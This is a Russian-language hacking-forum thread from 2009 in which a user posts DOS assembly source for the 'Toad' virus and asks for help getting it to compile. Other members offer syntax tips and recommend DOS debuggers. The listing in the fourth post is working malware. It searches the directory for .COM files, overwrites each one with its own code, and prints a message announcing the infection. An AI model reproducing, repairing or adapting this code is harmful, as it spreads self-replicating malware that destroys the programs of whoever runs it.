HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.12.2009, 22:00
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию

WWWorm101, незнаком с синтаксисом tasm'a. А вообще процедура реализуется так:
Код:
proc toad
    local horny:DWORD ; или WORD, etc.
endp
 
Ответить с цитированием

  #2  
Старый 05.12.2009, 11:18
WWWorm101
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме:
13458

Репутация: 0
По умолчанию

Но все таки кто-нибудь может перевести код(см. выше), с tasm на fasm(среда DOS)
 
Ответить с цитированием

  #3  
Старый 05.12.2009, 12:56
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Код:
proc toad

horny:
endp
 
Ответить с цитированием

  #4  
Старый 05.12.2009, 16:06
WWWorm101
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме:
13458

Репутация: 0
По умолчанию

короче код не компилируется, ошибка во второй строке:

org 100h

proc toad

first_fly:
mov ah,4eh

find_fly:
xor cx,cx
lea dx,comsing
int 21h
jc wart_growth

open_fly:
mov ax,3d02h
mov dx,9eh
int 21h

eat_fly:
xchg bx,ax
mov ah,40h
mov cx,norny-first_fly
lea dx,first_fly
int 21h

stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly

wart_growth:
mov ah,09h
mov dx,wart
int 21h

cya: int 20h

comsig db "*.com",0
wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'

horny label near

endp
end first_fly
 
Ответить с цитированием

  #5  
Старый 05.12.2009, 16:09
whexp
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме:
333264

Репутация: 80
По умолчанию

proc - это макрос. подключи macro\proc32.inc
 
Ответить с цитированием

  #6  
Старый 05.12.2009, 16:46
WWWorm101
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме:
13458

Репутация: 0
По умолчанию

эта программа для Dos'а или в досе тоже можно подключить macro\proc32.inc
 
Ответить с цитированием

  #7  
Старый 06.12.2009, 00:23
wolmer
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503

Репутация: 229
По умолчанию

Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ )))
(в CodeView не разобрался)
 
Ответить с цитированием

  #8  
Старый 06.12.2009, 18:35
WWWorm101
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме:
13458

Репутация: 0
По умолчанию

wolmer
Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.
 
Ответить с цитированием

  #9  
Старый 06.12.2009, 23:48
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском.
Или старинную вешь от дяди касперерского - avputil
 
Ответить с цитированием

  #10  
Старый 10.12.2009, 10:20
becensed
Новичок
Регистрация: 02.12.2009
Сообщений: 16
Провел на форуме:
101734

Репутация: 21
По умолчанию

turbo debugger для начинающих вполне сойдет.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопросы для новичков! (faq) PEPSICOLA С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 92 14.05.2010 17:59
ОС с нуля z01b С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 36 03.07.2008 15:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ